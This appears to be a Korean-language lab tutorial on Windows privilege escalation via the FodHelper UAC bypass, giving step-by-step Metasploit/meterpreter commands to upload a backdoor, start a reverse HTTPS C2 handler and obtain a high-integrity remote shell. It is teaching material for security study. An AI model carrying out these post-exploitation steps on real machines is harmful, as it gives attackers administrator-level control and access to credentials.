728x90
윈도우의 권한상승 케이스 분석 실습 - Fodhelper UAC Bypass
학습 목표
- FodHelper UAC Bpass 공격을 통한 권한상승 구현스킬 습득
주요 내용
- 권한 상승된 윈도우의 로컬 명령 쉘 실행
- 권한 상승된 원격 리버스 쉘 확보
실습 내용
- 기존 C2 서버는 443 포트를 수신하며 표절 단말에 있는 백도어 프로그램(미터프리터 쉘, backdoor.exe)은 원격 C2서버의 443포트로 연결합니다.
- 거점 시스템에 대한 원격 쉘(권한이 낮음)을 확보한 상태에서 권한이 높은 쉘을 수신하기 위한 C2 서버를 추가로 실행합니다. 새롭게 실행된 C2서버는 8080포트를 수신합니다.
- 거점 시스템에서 실행될 백도어 프로그램(미터프리터 쉘, backdoor_8080.exe)은 원격 C2의 8080포트로 연결합니다.
- IL(Integrity Level)이 상승될 백도어 프로그램(backdoor_8080.exe)은 Fodhelper UAC Bypass 공격을 통해 자동실행됩니다.

STEP1.미터프리터 쉘을 이용하여 공격에 사용할 파일들 업로드
- 현재 통제중인 원격시스템(Victim)으로 추가공격에 사용될 파일들을 업로드합니다.
msf exploit(handler) > sessions -l
//현재 세션 연결이 되어있는 공격대상 시스템들을 나열함
msf exploit(handler) > sessions -i 1
//1번 세션과 연결된 원격단말(Victim)의 미터프리터 쉘과 대화 모드로 진입
meterpreter> upload /root/PostExploitation/backdoor_8080.exe
c:\\lab\\backdoor_8080.exe
//권한상승 후 실행될 백도어를 거점 단말에 업로드
meterpreter> upload /root/PostExploitation/FodHelper.bat c:\\lab\\FodHelper.bat
//Fodhelper.exe 프로그램이 참조할 레지스트리 조작, Fodhelper.exe 실행하는 스크립트 파일을 거점 단말에 업로드



shell로 window cmd로 들어가서 lab폴더 들어갑니다.
dir /w/a로 보면 backdoor_8080.exe와 Fodhelper.bat파일이 이미 업로드 되어있지만, 업로드 되어있지않다면 upload 하면 됩니다.
STEP2.업로드된 파일 및 내용 확인
- 거점 시스템(Victim) 파일이 제대로 업로드 되었는지 확인합니다.
- FodHelper.bat 파일은 FodHelper.exe 프로그램이 실행될 때 참조하는 레지스트리를 수정한 후 FodHelper.exe 프로그램을 실행시키는 기능을 합니다.
meterpreter>shell
Process 3088 created.
Channel 3 created.
Miscrosoft Windows [Version 10.0.19042.928[
(c) Microsoft Corporation. All rights reserved.
c:\Windows\system32>cd c:\lab
c:\Lab> dir \w\a
//파일이 제대로 업로드 되었는지 확인
c:\\Lab>type FodHelper.bat
//전송 과정에서 내용이 손상되지 않고 제대로 담겨져 있는지 확인

STEP3.현재 확보하고 있는 쉘의 IL(Integrity Level), Privilege 확인
- 거점 시스템을 통해 현재 확보하고 있는 쉘은 IL(Integrity Level)이 일반 사용자 수준인 "medium"입니다.
- 또한 쉘이 가지고 있는 특권(Privileger)들 또한 개수가 매우 적은 편입니다.
C:\Lab>whoami /groups I findstr Lable
mandatory Label\medium Mandatory Level Label S-1-1601892
// "medium" Integrity Level 확인(일반 사용자 수준)
C:\Lab\> exit
meterpreter>getprivs
//현재 사용중인 쉘은 매우 적은 개수의 특권(Privilege)만 활성화 되어있음


STEP4. 권한상승된 쉘을 수신할 신규 C2핸들러 구동
- 권한상승될 미터프리터 쉘을 수신할 C2 핸들러를 구동합니다.
- C2핸들러를 구동할 때는 공격자 시스템의 새로운 쉘 콘솔창을 사용합니다.
- 기존 제작해 놓은 스크립트를 활용하면 되며 핸들러는 8080 포트를 수신합니다.
# cd /root/PostExlpoitation
# msfconsole -r meterpreter_reverse_https_handler_8080.rc

STEP5.권한상승을 위한 스크립트 실행 및 신규 원격 쉘 수신
- 기존 확보 중인 원격 쉘을 이용하여 권한상승 공격에 사용될 스크립트를 실행시킵니다.
- 스크립트 실행 과정에서 FodHelper.exe 프로그램이 실행되며, 해당 프로그램에 의해 backdoor_8080.exe프로그램이 자동으로 실행될 것입니다.
- C2 신규 핸들러 창으로 이동해보면 원격 세션이 수신된 것을 알 수 있습니다.
C:\Lab>fodhelper.bat


STEP6.상승된 권한 확인
- 메터프리터 쉘의 명령어를 이용하여 신규 쉘이 가지고 있는 특권(Privilege)를 확인합니다.
- "SetDebugPrivilege", "SeSecurityPrivilege", "SeTakeOwnershipPrivileger"와 같은 중요한 특권들이 추가 및 활성화 되었음을 알 수 있습니다.

- 표적 시스템에서 Process Explorer 도구를 실행시킨 후 "backdoor_8080.exe" 프로세스의 IL(Integrity level) 수준을 확인해보면 "high"등급인 것을 알 수 있습니다.


강의 요약
- FodHelper UAC Bypass 공격은 윈도우 운영체제 내에서 관리자 수준에 준하는 "High" 등급의 IL(Integrity level) 확보가 가능합니다.
- 공격자는 해당 공격을 통해 관리자 수준의 원격쉘을 확보할 수 있으며, 해당 권한을 통해 향후 운영체제 내의 중요한 자원이나 크리덴셜 정보를 확보하는 것이 수월해집니다.
728x90
반응형